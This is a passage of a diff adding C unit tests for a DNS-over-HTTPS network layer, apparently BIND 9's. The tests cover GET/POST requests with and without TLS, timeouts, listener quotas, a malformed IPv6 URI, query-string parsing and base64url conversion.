+	isc_nmsocket_close(&listen_sock);
+	assert_null(listen_sock);
+}
+
+static void
+doh_noop(void *arg ISC_ATTR_UNUSED) {
+	isc_nm_t *listen_nm = nm[0];
+	isc_nm_t *connect_nm = nm[1];
+	isc_result_t result = ISC_R_SUCCESS;
+	isc_nmsocket_t *listen_sock = NULL;
+	char req_url[256];
+
+	result = isc_nm_http_endpoints_add(endpoints, ISC_NM_HTTP_DEFAULT_PATH,
+					   noop_read_cb, NULL);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	result = isc_nm_listenhttp(listen_nm, ISC_NM_LISTEN_ALL,
+				   &tcp_listen_addr, 0, NULL, NULL, endpoints,
+				   0, &listen_sock);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	isc_loop_teardown(mainloop, listen_sock_close, listen_sock);
+
+	sockaddr_to_url(&tcp_listen_addr, false, req_url, sizeof(req_url),
+			ISC_NM_HTTP_DEFAULT_PATH);
+	connect_send_request(connect_nm, req_url, atomic_load(&POST),
+			     &(isc_region_t){ .base = (uint8_t *)send_msg.base,
+					      .length = send_msg.len },
+			     noop_read_cb, NULL, atomic_load(&use_TLS), 30000);
+
+	isc_loopmgr_shutdown(loopmgr);
+
+	assert_int_equal(0, atomic_load(&csends));
+	assert_int_equal(0, atomic_load(&creads));
+	assert_int_equal(0, atomic_load(&sreads));
+	assert_int_equal(0, atomic_load(&ssends));
+}
+
+ISC_LOOP_TEST_IMPL(doh_noop_POST) {
+	atomic_store(&POST, true);
+	doh_noop(arg);
+}
+
+ISC_LOOP_TEST_IMPL(doh_noop_GET) {
+	atomic_store(&POST, false);
+	doh_noop(arg);
+}
+
+static void
+doh_noresponse(void *arg ISC_ATTR_UNUSED) {
+	isc_nm_t *listen_nm = nm[0];
+	isc_nm_t *connect_nm = nm[1];
+	isc_result_t result = ISC_R_SUCCESS;
+	isc_nmsocket_t *listen_sock = NULL;
+	char req_url[256];
+
+	result = isc_nm_http_endpoints_add(endpoints, ISC_NM_HTTP_DEFAULT_PATH,
+					   noop_read_cb, NULL);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	result = isc_nm_listenhttp(listen_nm, ISC_NM_LISTEN_ALL,
+				   &tcp_listen_addr, 0, NULL, NULL, endpoints,
+				   0, &listen_sock);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	isc_loop_teardown(mainloop, listen_sock_close, listen_sock);
+
+	sockaddr_to_url(&tcp_listen_addr, false, req_url, sizeof(req_url),
+			ISC_NM_HTTP_DEFAULT_PATH);
+	connect_send_request(connect_nm, req_url, atomic_load(&POST),
+			     &(isc_region_t){ .base = (uint8_t *)send_msg.base,
+					      .length = send_msg.len },
+			     noop_read_cb, NULL, atomic_load(&use_TLS), 30000);
+
+	isc_loopmgr_shutdown(loopmgr);
+}
+
+ISC_LOOP_TEST_IMPL(doh_noresponse_POST) {
+	atomic_store(&POST, true);
+	doh_noresponse(arg);
+}
+
+ISC_LOOP_TEST_IMPL(doh_noresponse_GET) {
+	atomic_store(&POST, false);
+	doh_noresponse(arg);
+}
+
+static void
+timeout_query_sent_cb(isc_nmhandle_t *handle, isc_result_t eresult,
+		      void *cbarg) {
+	UNUSED(eresult);
+	UNUSED(cbarg);
+
+	assert_non_null(handle);
+
+	if (eresult == ISC_R_SUCCESS) {
+		atomic_fetch_add(&csends, 1);
+	}
+
+	isc_nmhandle_detach(&handle);
+}
+
+static void
+timeout_retry_cb(isc_nmhandle_t *handle, isc_result_t eresult,
+		 isc_region_t *region ISC_ATTR_UNUSED,
+		 void *arg ISC_ATTR_UNUSED) {
+	assert_non_null(handle);
+
+	atomic_fetch_add(&ctimeouts, 1);
+
+	if (eresult == ISC_R_TIMEDOUT && atomic_load(&ctimeouts) < 5) {
+		isc_nmhandle_settimeout(handle, T_SOFT);
+		return;
+	}
+
+	isc_nmhandle_detach(&handle);
+	isc_loopmgr_shutdown(loopmgr);
+}
+
+static void
+timeout_request_cb(isc_nmhandle_t *handle, isc_result_t result, void *arg) {
+	isc_nmhandle_t *sendhandle = NULL;
+	isc_nmhandle_t *readhandle = NULL;
+
+	REQUIRE(VALID_NMHANDLE(handle));
+
+	if (result != ISC_R_SUCCESS) {
+		return;
+	}
+
+	isc_nmhandle_attach(handle, &sendhandle);
+	isc_nm_send(handle,
+		    &(isc_region_t){ .base = (uint8_t *)send_msg.base,
+				     .length = send_msg.len },
+		    timeout_query_sent_cb, arg);
+
+	isc_nmhandle_attach(handle, &readhandle);
+	isc_nm_read(handle, timeout_retry_cb, NULL);
+}
+
+static void
+doh_timeout_recovery(void *arg ISC_ATTR_UNUSED) {
+	isc_nm_t *listen_nm = nm[0];
+	isc_nmsocket_t *listen_sock = NULL;
+	isc_nm_t *connect_nm = nm[1];
+	isc_result_t result = ISC_R_SUCCESS;
+	isc_tlsctx_t *ctx = atomic_load(&use_TLS) ? server_tlsctx : NULL;
+	char req_url[256];
+
+	result = isc_nm_http_endpoints_add(endpoints, ISC_NM_HTTP_DEFAULT_PATH,
+					   doh_receive_request_cb, NULL);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	result = isc_nm_listenhttp(listen_nm, ISC_NM_LISTEN_ALL,
+				   &tcp_listen_addr, 0, NULL, NULL, endpoints,
+				   0, &listen_sock);
+	assert_int_equal(result, ISC_R_SUCCESS);
+	isc_loop_teardown(mainloop, listen_sock_close, listen_sock);
+
+	/*
+	 * Accept connections but don't send responses, forcing client
+	 * reads to time out.
+	 */
+	noanswer = true;
+
+	/*
+	 * Shorten all the TCP client timeouts to 0.05 seconds.
+	 * timeout_retry_cb() will give up after five timeouts.
+	 */
+	isc_nm_settimeouts(connect_nm, T_SOFT, T_SOFT, T_SOFT, T_SOFT);
+	sockaddr_to_url(&tcp_listen_addr, false, req_url, sizeof(req_url),
+			ISC_NM_HTTP_DEFAULT_PATH);
+	isc_nm_httpconnect(connect_nm, NULL, &tcp_listen_addr, req_url,
+			   atomic_load(&POST), timeout_request_cb, NULL, ctx,
+			   client_sess_cache, T_SOFT);
+}
+
+static int
+doh_timeout_recovery_teardown(void **state) {
+	assert_true(atomic_load(&ctimeouts) == 5);
+	return (teardown_test(state));
+}
+
+ISC_LOOP_TEST_IMPL(doh_timeout_recovery_POST) {
+	atomic_store(&POST, true);
+	doh_timeout_recovery(arg);
+}
+
+ISC_LOOP_TEST_IMPL(doh_timeout_recovery_GET) {
+	atomic_store(&POST, false);
+	doh_timeout_recovery(arg);
+}
+
+static void
+doh_connect_thread(void *arg);
+
+static void
+doh_receive_send_reply_cb(isc_nmhandle_t *handle, isc_result_t eresult,
+			  isc_region_t *region, void *cbarg) {
+	isc_nm_t *connect_nm = (isc_nm_t *)cbarg;
+
+	if (eresult != ISC_R_SUCCESS) {
+		return;
+	}
+
+	assert_non_null(handle);
+	UNUSED(region);
+
+	int_fast64_t sends = atomic_fetch_sub(&nsends, 1);
+	atomic_fetch_add(&csends, 1);
+	atomic_fetch_add(&creads, 1);
+	if (sends > 0 && connect_nm != NULL) {
+		size_t i;
+		for (i = 0; i < NWRITES / 2; i++) {
+			eresult = isc__nm_http_request(
+				handle,
+				&(isc_region_t){
+					.base = (uint8_t *)send_msg.base,
+					.length = send_msg.len },
+				doh_receive_send_reply_cb, NULL);
+			if (eresult == ISC_R_CANCELED) {
+				break;
+			}
+			assert_true(eresult == ISC_R_SUCCESS);
+		}
+
+		isc_async_current(loopmgr, doh_connect_thread, connect_nm);
+	}
+	if (sends <= 0) {
+		isc_loopmgr_shutdown(loopmgr);
+	}
+}
+
+static void
+doh_connect_thread(void *arg) {
+	isc_nm_t *connect_nm = (isc_nm_t *)arg;
+	char req_url[256];
+	int64_t sends = atomic_load(&nsends);
+
+	sockaddr_to_url(&tcp_listen_addr, atomic_load(&use_TLS), req_url,
+			sizeof(req_url), ISC_NM_HTTP_DEFAULT_PATH);
+
+	/*
+	 * We need to back off and slow down if we start getting
+	 * errors, to prevent a thundering herd problem.
+	 */
+	int_fast64_t active = atomic_fetch_add(&active_cconnects, 1);
+	if (active > workers) {
+		goto next;
+	}
+	connect_send_request(connect_nm, req_url, atomic_load(&POST),
+			     &(isc_region_t){ .base = (uint8_t *)send_msg.base,
+					      .length = send_msg.len },
+			     doh_receive_send_reply_cb, connect_nm,
+			     atomic_load(&use_TLS), 30000);
+
+	if (sends <= 0) {
+		isc_loopmgr_shutdown(loopmgr);
+	}
+
+next : {}
+}
+
+static void
+doh_recv_one(void *arg ISC_ATTR_UNUSED) {
+	isc_nm_t *listen_nm = nm[0];
+	isc_nm_t *connect_nm = nm[1];
+	isc_result_t result = ISC_R_SUCCESS;
+	isc_nmsocket_t *listen_sock = NULL;
+	char req_url[256];
+	isc_quota_t *quotap = init_listener_quota(workers);
+
+	atomic_store(&total_sends, 1);
+	expected_creads = 1;
+
+	atomic_store(&nsends, atomic_load(&total_sends));
+
+	result = isc_nm_http_endpoints_add(endpoints, ISC_NM_HTTP_DEFAULT_PATH,
+					   doh_receive_request_cb, NULL);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	result = isc_nm_listenhttp(listen_nm, ISC_NM_LISTEN_ALL,
+				   &tcp_listen_addr, 0, quotap,
+				   atomic_load(&use_TLS) ? server_tlsctx : NULL,
+				   endpoints, 0, &listen_sock);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	sockaddr_to_url(&tcp_listen_addr, atomic_load(&use_TLS), req_url,
+			sizeof(req_url), ISC_NM_HTTP_DEFAULT_PATH);
+	connect_send_request(connect_nm, req_url, atomic_load(&POST),
+			     &(isc_region_t){ .base = (uint8_t *)send_msg.base,
+					      .length = send_msg.len },
+			     doh_receive_reply_cb, NULL, atomic_load(&use_TLS),
+			     30000);
+
+	isc_loop_teardown(mainloop, listen_sock_close, listen_sock);
+}
+
+static int
+doh_recv_one_teardown(void **state) {
+	X(total_sends);
+	X(csends);
+	X(creads);
+	X(sreads);
+	X(ssends);
+
+	assert_int_equal(atomic_load(&csends), 1);
+	assert_int_equal(atomic_load(&creads), 1);
+	assert_int_equal(atomic_load(&sreads), 1);
+	assert_int_equal(atomic_load(&ssends), 1);
+
+	return (teardown_test(state));
+}
+
+ISC_LOOP_TEST_IMPL(doh_recv_one_POST) {
+	atomic_store(&POST, true);
+	doh_recv_one(arg);
+}
+
+ISC_LOOP_TEST_IMPL(doh_recv_one_GET) {
+	atomic_store(&POST, false);
+	doh_recv_one(arg);
+}
+
+ISC_LOOP_TEST_IMPL(doh_recv_one_POST_TLS) {
+	atomic_store(&use_TLS, true);
+	atomic_store(&POST, true);
+	doh_recv_one(arg);
+}
+
+ISC_LOOP_TEST_IMPL(doh_recv_one_GET_TLS) {
+	atomic_store(&use_TLS, true);
+	atomic_store(&POST, false);
+	doh_recv_one(arg);
+}
+
+ISC_LOOP_TEST_IMPL(doh_recv_one_POST_quota) {
+	atomic_store(&POST, true);
+	atomic_store(&check_listener_quota, true);
+	doh_recv_one(arg);
+}
+
+ISC_LOOP_TEST_IMPL(doh_recv_one_GET_quota) {
+	atomic_store(&POST, false);
+	atomic_store(&check_listener_quota, true);
+	doh_recv_one(arg);
+}
+
+ISC_LOOP_TEST_IMPL(doh_recv_one_POST_TLS_quota) {
+	atomic_store(&use_TLS, true);
+	atomic_store(&POST, true);
+	atomic_store(&check_listener_quota, true);
+	doh_recv_one(arg);
+}
+
+ISC_LOOP_TEST_IMPL(doh_recv_one_GET_TLS_quota) {
+	atomic_store(&use_TLS, true);
+	atomic_store(&POST, false);
+	atomic_store(&check_listener_quota, true);
+	doh_recv_one(arg);
+}
+
+static void
+doh_connect_send_two_requests_cb(isc_nmhandle_t *handle, isc_result_t result,
+				 void *arg) {
+	REQUIRE(VALID_NMHANDLE(handle));
+	if (result != ISC_R_SUCCESS) {
+		return;
+	}
+
+	result = isc__nm_http_request(
+		handle,
+		&(isc_region_t){ .base = (uint8_t *)send_msg.base,
+				 .length = send_msg.len },
+		doh_receive_reply_cb, arg);
+	if (result != ISC_R_SUCCESS) {
+		return;
+	}
+
+	result = isc__nm_http_request(
+		handle,
+		&(isc_region_t){ .base = (uint8_t *)send_msg.base,
+				 .length = send_msg.len },
+		doh_receive_reply_cb, arg);
+	if (result != ISC_R_SUCCESS) {
+		return;
+	}
+}
+
+static void
+doh_recv_two(void *arg ISC_ATTR_UNUSED) {
+	isc_nm_t *listen_nm = nm[0];
+	isc_nm_t *connect_nm = nm[1];
+	isc_result_t result = ISC_R_SUCCESS;
+	isc_nmsocket_t *listen_sock = NULL;
+	char req_url[256];
+	isc_tlsctx_t *ctx = NULL;
+	isc_quota_t *quotap = init_listener_quota(workers);
+
+	atomic_store(&total_sends, 2);
+	expected_creads = 2;
+
+	atomic_store(&nsends, atomic_load(&total_sends));
+
+	result = isc_nm_http_endpoints_add(endpoints, ISC_NM_HTTP_DEFAULT_PATH,
+					   doh_receive_request_cb, NULL);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	result = isc_nm_listenhttp(listen_nm, ISC_NM_LISTEN_ALL,
+				   &tcp_listen_addr, 0, quotap,
+				   atomic_load(&use_TLS) ? server_tlsctx : NULL,
+				   endpoints, 0, &listen_sock);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	sockaddr_to_url(&tcp_listen_addr, atomic_load(&use_TLS), req_url,
+			sizeof(req_url), ISC_NM_HTTP_DEFAULT_PATH);
+
+	if (atomic_load(&use_TLS)) {
+		ctx = client_tlsctx;
+	}
+
+	isc_nm_httpconnect(connect_nm, NULL, &tcp_listen_addr, req_url,
+			   atomic_load(&POST), doh_connect_send_two_requests_cb,
+			   NULL, ctx, client_sess_cache, 5000);
+
+	isc_loop_teardown(mainloop, listen_sock_close, listen_sock);
+}
+
+static int
+doh_recv_two_teardown(void **state) {
+	X(total_sends);
+	X(csends);
+	X(creads);
+	X(sreads);
+	X(ssends);
+
+	assert_int_equal(atomic_load(&csends), 2);
+	assert_int_equal(atomic_load(&creads), 2);
+	assert_int_equal(atomic_load(&sreads), 2);
+	assert_int_equal(atomic_load(&ssends), 2);
+
+	return (teardown_test(state));
+}
+
+ISC_LOOP_TEST_IMPL(doh_recv_two_POST) {
+	atomic_store(&POST, true);
+	doh_recv_two(arg);
+}
+
+ISC_LOOP_TEST_IMPL(doh_recv_two_GET) {
+	atomic_store(&POST, false);
+	doh_recv_two(arg);
+}
+
+ISC_LOOP_TEST_IMPL(doh_recv_two_POST_TLS) {
+	atomic_store(&use_TLS, true);
+	atomic_store(&POST, true);
+	doh_recv_two(arg);
+}
+
+ISC_LOOP_TEST_IMPL(doh_recv_two_GET_TLS) {
+	atomic_store(&use_TLS, true);
+	atomic_store(&POST, false);
+	doh_recv_two(arg);
+}
+
+ISC_LOOP_TEST_IMPL(doh_recv_two_POST_quota) {
+	atomic_store(&POST, true);
+	atomic_store(&check_listener_quota, true);
+	doh_recv_two(arg);
+}
+
+ISC_LOOP_TEST_IMPL(doh_recv_two_GET_quota) {
+	atomic_store(&POST, false);
+	atomic_store(&check_listener_quota, true);
+	doh_recv_two(arg);
+}
+
+ISC_LOOP_TEST_IMPL(doh_recv_two_POST_TLS_quota) {
+	atomic_store(&use_TLS, true);
+	atomic_store(&POST, true);
+	atomic_store(&check_listener_quota, true);
+	doh_recv_two(arg);
+}
+
+ISC_LOOP_TEST_IMPL(doh_recv_two_GET_TLS_quota) {
+	atomic_store(&use_TLS, true);
+	atomic_store(&POST, false);
+	atomic_store(&check_listener_quota, true);
+	doh_recv_two(arg);
+}
+
+static void
+doh_recv_send(void *arg ISC_ATTR_UNUSED) {
+	isc_nm_t *listen_nm = nm[0];
+	isc_nm_t *connect_nm = nm[1];
+	isc_result_t result = ISC_R_SUCCESS;
+	isc_nmsocket_t *listen_sock = NULL;
+	size_t nthreads = isc_loopmgr_nloops(loopmgr);
+	isc_quota_t *quotap = init_listener_quota(workers);
+
+	atomic_store(&total_sends, 1000);
+	atomic_store(&nsends, 1000);
+
+	result = isc_nm_http_endpoints_add(endpoints, ISC_NM_HTTP_DEFAULT_PATH,
+					   doh_receive_request_cb, NULL);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	result = isc_nm_listenhttp(listen_nm, ISC_NM_LISTEN_ALL,
+				   &tcp_listen_addr, 0, quotap,
+				   atomic_load(&use_TLS) ? server_tlsctx : NULL,
+				   endpoints, 0, &listen_sock);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	for (size_t i = 0; i < nthreads; i++) {
+		isc_async_run(isc_loop_get(loopmgr, i), doh_connect_thread,
+			      connect_nm);
+	}
+
+	isc_loop_teardown(mainloop, listen_sock_close, listen_sock);
+}
+
+static int
+doh_recv_send_teardown(void **state) {
+	int res = teardown_test(state);
+
+	X(total_sends);
+	X(csends);
+	X(creads);
+	X(sreads);
+	X(ssends);
+
+	CHECK_RANGE_FULL(csends);
+	CHECK_RANGE_FULL(creads);
+	CHECK_RANGE_FULL(sreads);
+	CHECK_RANGE_FULL(ssends);
+
+	return (res);
+}
+
+ISC_LOOP_TEST_IMPL(doh_recv_send_POST) {
+	atomic_store(&POST, true);
+	doh_recv_send(arg);
+}
+
+ISC_LOOP_TEST_IMPL(doh_recv_send_GET) {
+	atomic_store(&POST, false);
+	doh_recv_send(arg);
+}
+
+ISC_LOOP_TEST_IMPL(doh_recv_send_POST_TLS) {
+	atomic_store(&POST, true);
+	atomic_store(&use_TLS, true);
+	doh_recv_send(arg);
+}
+
+ISC_LOOP_TEST_IMPL(doh_recv_send_GET_TLS) {
+	atomic_store(&POST, false);
+	atomic_store(&use_TLS, true);
+	doh_recv_send(arg);
+}
+
+ISC_LOOP_TEST_IMPL(doh_recv_send_POST_quota) {
+	atomic_store(&POST, true);
+	atomic_store(&check_listener_quota, true);
+	doh_recv_send(arg);
+}
+
+ISC_LOOP_TEST_IMPL(doh_recv_send_GET_quota) {
+	atomic_store(&POST, false);
+	atomic_store(&check_listener_quota, true);
+	doh_recv_send(arg);
+}
+
+ISC_LOOP_TEST_IMPL(doh_recv_send_POST_TLS_quota) {
+	atomic_store(&POST, true);
+	atomic_store(&use_TLS, true);
+	atomic_store(&check_listener_quota, true);
+	doh_recv_send(arg);
+}
+
+ISC_LOOP_TEST_IMPL(doh_recv_send_GET_TLS_quota) {
+	atomic_store(&POST, false);
+	atomic_store(&use_TLS, true);
+	atomic_store(&check_listener_quota, true);
+	doh_recv_send(arg);
+}
+
+static int
+doh_bad_connect_uri_teardown(void **state) {
+	X(total_sends);
+	X(csends);
+	X(creads);
+	X(sreads);
+	X(ssends);
+
+	/* As we used an ill-formed URI, there ought to be an error. */
+	assert_int_equal(atomic_load(&csends), 0);
+	assert_int_equal(atomic_load(&creads), 0);
+	assert_int_equal(atomic_load(&sreads), 0);
+	assert_int_equal(atomic_load(&ssends), 0);
+
+	return (teardown_test(state));
+}
+
+/* See: GL #2858, !5319 */
+ISC_LOOP_TEST_IMPL(doh_bad_connect_uri) {
+	isc_nm_t *listen_nm = nm[0];
+	isc_nm_t *connect_nm = nm[1];
+	isc_result_t result = ISC_R_SUCCESS;
+	isc_nmsocket_t *listen_sock = NULL;
+	char req_url[256];
+	isc_quota_t *quotap = init_listener_quota(workers);
+
+	atomic_store(&total_sends, 1);
+
+	atomic_store(&nsends, atomic_load(&total_sends));
+
+	result = isc_nm_http_endpoints_add(endpoints, ISC_NM_HTTP_DEFAULT_PATH,
+					   doh_receive_request_cb, NULL);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	result = isc_nm_listenhttp(listen_nm, ISC_NM_LISTEN_ALL,
+				   &tcp_listen_addr, 0, quotap, server_tlsctx,
+				   endpoints, 0, &listen_sock);
+	assert_int_equal(result, ISC_R_SUCCESS);
+
+	/*
+	 * "https://::1:XXXX/dns-query" is a bad URI, it should be
+	 * "https://[::1]:XXXX/dns-query"
+	 */
+	(void)snprintf(req_url, sizeof(req_url), "https://::1:%u/%s",
+		       isc_sockaddr_getport(&tcp_listen_addr),
+		       ISC_NM_HTTP_DEFAULT_PATH);
+	connect_send_request(connect_nm, req_url, atomic_load(&POST),
+			     &(isc_region_t){ .base = (uint8_t *)send_msg.base,
+					      .length = send_msg.len },
+			     doh_receive_reply_cb, NULL, true, 30000);
+
+	isc_loop_teardown(mainloop, listen_sock_close, listen_sock);
+}
+
+ISC_RUN_TEST_IMPL(doh_parse_GET_query_string) {
+	/* valid */
+	{
+		bool ret;
+		const char *queryp = NULL;
+		size_t len = 0;
+		char str[] =
+			"dns=AAABAAABAAAAAAAAAWE-"
+			"NjJjaGFyYWN0ZXJsYWJlbC1tYWtlcy1iYXNlNjR1cmwtZGlzdGluY3"
+			"QtZnJvbS1zdGFuZGFyZC1iYXNlNjQHZXhhbXBsZQNjb20AAAEAAQ";
+
+		ret = isc__nm_parse_httpquery(str, &queryp, &len);
+		assert_true(ret);
+		assert_non_null(queryp);
+		assert_true(len > 0);
+		assert_true(len == strlen(str) - 4);
+		assert_true(memcmp(queryp, str + 4, len) == 0);
+	}
+	/* valid */
+	{
+		bool ret;
+		const char *queryp = NULL;
+		size_t len = 0;
+		char str[] =
+			"?dns=AAABAAABAAAAAAAAAWE-"
+			"NjJjaGFyYWN0ZXJsYWJlbC1tYWtlcy1iYXNlNjR1cmwtZGlzdGluY3"
+			"QtZnJvbS1zdGFuZGFyZC1iYXNlNjQHZXhhbXBsZQNjb20AAAEAAQ&";
+
+		ret = isc__nm_parse_httpquery(str, &queryp, &len);
+		assert_true(ret);
+		assert_non_null(queryp);
+		assert_true(len > 0);
+		assert_true(len == strlen(str) - 6);
+		assert_true(memcmp(queryp, str + 5, len) == 0);
+	}
+	/* valid */
+	{
+		bool ret;
+		const char *queryp = NULL;
+		size_t len = 0;
+		char str[] = "?dns=123&dns=567";
+
+		ret = isc__nm_parse_httpquery(str, &queryp, &len);
+		assert_true(ret);
+		assert_non_null(queryp);
+		assert_true(len > 0);
+		assert_true(len == 3);
+		assert_true(memcmp(queryp, "567", 3) == 0);
+	}
+	/* valid */
+	{
+		bool ret;
+		const char *queryp = NULL;
+		size_t len = 0;
+		char str[] = "?name1=123&dns=567&name2=123&";
+
+		ret = isc__nm_parse_httpquery(str, &queryp, &len);
+		assert_true(ret);
+		assert_non_null(queryp);
+		assert_true(len > 0);
+		assert_true(len == 3);
+		assert_true(memcmp(queryp, "567", 3) == 0);
+	}
+	/* complex, but still valid */
+	{
+		bool ret;
+		const char *queryp = NULL;
+		size_t len = 0;
+		char str[] =
+			"?title=%D0%92%D1%96%D0%B4%D1%81%D0%BE%D1%82%D0%BA%D0%"
+			"BE%D0%B2%D0%B5_%D0%BA%D0%BE%D0%B4%D1%83%D0%B2%D0%B0%"
+			"D0%BD%D0%BD%D1%8F&dns=123&veaction=edit&section=0";
+
+		ret = isc__nm_parse_httpquery(str, &queryp, &len);
+		assert_true(ret);
+		assert_non_null(queryp);
+		assert_true(len > 0);
+		assert_true(len == 3);
+		assert_true(memcmp(queryp, "123", 3) == 0);
+	}
+	/* invalid */
+	{
+		bool ret;
+		const char *queryp = NULL;
+		size_t len = 0;
+		char str[] =
+			"?title=%D0%92%D1%96%D0%B4%D1%81%D0%BE%D1%82%D0%BA%D0%"
+			"BE%D0%B2%D0%B5_%D0%BA%D0%BE%D0%B4%D1%83%D0%B2%D0%B0%"
+			"D0%BD%D0%BD%D1%8F&veaction=edit&section=0";
+
+		ret = isc__nm_parse_httpquery(str, &queryp, &len);
+		assert_false(ret);
+		assert_null(queryp);
+		assert_true(len == 0);
+	}
+	/* invalid */
+	{
+		bool ret;
+		const char *queryp = NULL;
+		size_t len = 0;
+		char str[] = "";
+
+		ret = isc__nm_parse_httpquery(str, &queryp, &len);
+		assert_false(ret);
+		assert_null(queryp);
+		assert_true(len == 0);
+	}
+	/* invalid */
+	{
+		bool ret;
+		const char *queryp = NULL;
+		size_t len = 0;
+		char str[] = "?&";
+
+		ret = isc__nm_parse_httpquery(str, &queryp, &len);
+		assert_false(ret);
+		assert_null(queryp);
+		assert_true(len == 0);
+	}
+	/* invalid */
+	{
+		bool ret;
+		const char *queryp = NULL;
+		size_t len = 0;
+		char str[] = "?dns&";
+
+		ret = isc__nm_parse_httpquery(str, &queryp, &len);
+		assert_false(ret);
+		assert_null(queryp);
+		assert_true(len == 0);
+	}
+	/* invalid */
+	{
+		bool ret;
+		const char *queryp = NULL;
+		size_t len = 0;
+		char str[] = "?dns=&";
+
+		ret = isc__nm_parse_httpquery(str, &queryp, &len);
+		assert_false(ret);
+		assert_null(queryp);
+		assert_true(len == 0);
+	}
+	/* invalid */
+	{
+		bool ret;
+		const char *queryp = NULL;
+		size_t len = 0;
+		char str[] = "?dns=123&&";
+
+		ret = isc__nm_parse_httpquery(str, &queryp, &len);
+		assert_false(ret);
+		assert_null(queryp);
+		assert_true(len == 0);
+	}
+	/* valid */
+	{
+		bool ret;
+		const char *queryp = NULL;
+		size_t len = 0;
+		char str[] = "?dns=123%12&";
+
+		ret = isc__nm_parse_httpquery(str, &queryp, &len);
+		assert_true(ret);
+		assert_non_null(queryp);
+		assert_true(len > 0);
+		assert_true(len == 6);
+		assert_true(memcmp(queryp, "123%12", 6) == 0);
+	}
+	/* invalid */
+	{
+		bool ret;
+		const char *queryp = NULL;
+		size_t len = 0;
+		char str[] = "?dns=123%ZZ&";
+
+		ret = isc__nm_parse_httpquery(str, &queryp, &len);
+		assert_false(ret);
+		assert_null(queryp);
+		assert_true(len == 0);
+	}
+	/* invalid */
+	{
+		bool ret;
+		const char *queryp = NULL;
+		size_t len = 0;
+		char str[] = "?dns=123%%&";
+
+		ret = isc__nm_parse_httpquery(str, &queryp, &len);
+		assert_false(ret);
+		assert_null(queryp);
+		assert_true(len == 0);
+	}
+	/* invalid */
+	{
+		bool ret;
+		const char *queryp = NULL;
+		size_t len = 0;
+		char str[] = "?dns=123%AZ&";
+
+		ret = isc__nm_parse_httpquery(str, &queryp, &len);
+		assert_false(ret);
+		assert_null(queryp);
+		assert_true(len == 0);
+	}
+	/* valid */
+	{
+		bool ret;
+		const char *queryp = NULL;
+		size_t len = 0;
+		char str[] = "?dns=123%0AZ&";
+
+		ret = isc__nm_parse_httpquery(str, &queryp, &len);
+		assert_true(ret);
+		assert_non_null(queryp);
+		assert_true(len > 0);
+		assert_true(len == 7);
+		assert_true(memcmp(queryp, "123%0AZ", 7) == 0);
+	}
+}
+
+ISC_RUN_TEST_IMPL(doh_base64url_to_base64) {
+	char *res;
+	size_t res_len = 0;
+	/* valid */
+	{
+		char test[] = "YW55IGNhcm5hbCBwbGVhc3VyZS4";
+		char res_test[] = "YW55IGNhcm5hbCBwbGVhc3VyZS4=";
+
+		res = isc__nm_base64url_to_base64(mctx, test, strlen(test),
+						  &res_len);
+		assert_non_null(res);
+		assert_true(res_len == strlen(res_test));
+		assert_true(strcmp(res, res_test) == 0);
+		isc_mem_free(mctx, res);
+	}
+	/* valid */
+	{
+		char test[] = "YW55IGNhcm5hbCBwbGVhcw";
+		char res_test[] = "YW55IGNhcm5hbCBwbGVhcw==";
+
+		res = isc__nm_base64url_to_base64(mctx, test, strlen(test),
+						  &res_len);
+		assert_non_null(res);
+		assert_true(res_len == strlen(res_test));
+		assert_true(strcmp(res, res_test) == 0);
+		isc_mem_free(mctx, res);
+	}
+	/* valid */
+	{
+		char test[] = "YW55IGNhcm5hbCBwbGVhc3Vy";
+		char res_test[] = "YW55IGNhcm5hbCBwbGVhc3Vy";
+
+		res = isc__nm_base64url_to_base64(mctx, test, strlen(test),
+						  &res_len);
+		assert_non_null(res);
+		assert_true(res_len == strlen(res_test));
+		assert_true(strcmp(res, res_test) == 0);
+		isc_mem_free(mctx, res);
+	}
+	/* valid */
+	{
+		char test[] = "YW55IGNhcm5hbCBwbGVhc3U";
+		char res_test[] = "YW55IGNhcm5hbCBwbGVhc3U=";
+
+		res = isc__nm_base64url_to_base64(mctx, test, strlen(test),
+						  &res_len);
+		assert_non_null(res);
+		assert_true(res_len == strlen(res_test));
+		assert_true(strcmp(res, res_test) == 0);
+		isc_mem_free(mctx, res);
+	}
+	/* valid */
+	{
+		char test[] = "YW55IGNhcm5hbCBwbGVhcw";
+		char res_test[] = "YW55IGNhcm5hbCBwbGVhcw==";
+
+		res = isc__nm_base64url_to_base64(mctx, test, strlen(test),
+						  &res_len);
+		assert_non_null(res);
+		assert_true(res_len == strlen(res_test));
+		assert_true(strcmp(res, res_test) == 0);
+		isc_mem_free(mctx, res);
+	}
+	/* valid */
+	{
+		char test[] = "PDw_Pz8-Pg";
+		char res_test[] = "PDw/Pz8+Pg==";
+
+		res = isc__nm_base64url_to_base64(mctx, test, strlen(test),
+						  &res_len);
+		assert_non_null(res);
+		assert_true(res_len == strlen(res_test));
+		assert_true(strcmp(res, res_test) == 0);
+		isc_mem_free(mctx, res);
+	}
+	/* valid */
+	{
+		char test[] = "PDw_Pz8-Pg";
+		char res_test[] = "PDw/Pz8+Pg==";
+
+		res = isc__nm_base64url_to_base64(mctx, test, strlen(test),
+						  NULL);
+		assert_non_null(res);
+		assert_true(strcmp(res, res_test) == 0);
+		isc_mem_free(mctx, res);
+	}
+	/* invalid */
+	{
+		char test[] = "YW55IGNhcm5hbCBwbGVhcw";
+		res_len = 0;
+
+		res = isc__nm_base64url_to_base64(mctx, test, 0, &res_len);
+		assert_null(res);
+		assert_true(res_len == 0);
+	}
+	/* invalid */
+	{
+		char test[] = "";
+		res_len = 0;
+
+		res = isc__nm_base64url_to_base64(mctx, test, strlen(test),
+						  &res_len);
+		assert_null(res);
+		assert_true(res_len == 0);
+	}
+	/* invalid */
+	{
+		char test[] = "PDw_Pz8-Pg==";
+		res_len = 0;
+
+		res = isc__nm_base64url_to_base64(mctx, test, strlen(test),
+						  &res_len);
+		assert_null(res);
+		assert_true(res_len == 0);
+	}
+	/* invalid */
